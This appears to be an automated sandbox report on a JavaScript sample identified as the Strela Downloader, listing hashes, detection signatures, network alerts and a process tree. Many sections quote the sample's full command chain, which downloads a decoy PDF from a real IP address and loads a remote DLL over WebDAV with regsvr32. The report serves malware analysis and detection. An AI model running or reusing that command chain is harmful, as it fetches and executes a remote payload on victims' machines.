Edit tour

Windows Analysis Report
5330147048382019.js

Overview

General Information

Sample name:	5330147048382019.js
Analysis ID:	1588894
MD5:	2dfba941e46e34d6ed3dec1ed6c4656c
SHA1:	62696395679156d037c00ac9e5c4ad2bed0448dc
SHA256:	d847b126f133e7df01062c997c8d2edd0f5f28c6f657a7af095bf26608aff081
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7868 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5330147048382019.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7960 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7968 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8012 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 1988 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7648 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 2344 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2144 --field-trial-handle=1644,i,2083152114314265403,6909359284508397850,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7212 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7276 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 1296 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7868	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7960, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 8012, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7960, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 8012, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5330147048382019.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5330147048382019.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5330147048382019.js", ProcessId: 7868, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7276, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49706

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5330147048382019.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7868, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll, ProcessId: 7960, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5330147048382019.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7868, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll, ProcessId: 7960, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5330147048382019.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7868, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll, ProcessId: 7960, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5330147048382019.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7868, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll, ProcessId: 7960, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5330147048382019.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7868, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll, ProcessId: 7960, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5330147048382019.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5330147048382019.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5330147048382019.js", ProcessId: 7868, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7960, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 8012, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7212, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7276, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 1296, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7212, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7276, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5330147048382019.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7868, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll, ProcessId: 7960, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:50:24.945105+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.8	49705	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:50:27.649874+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49706	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:50:24.945105+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49705	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 5330147048382019.js

Virustotal: Detection: 11%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 5330147048382019.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 5330147048382019.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49706 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.8:49705 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:50:24 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
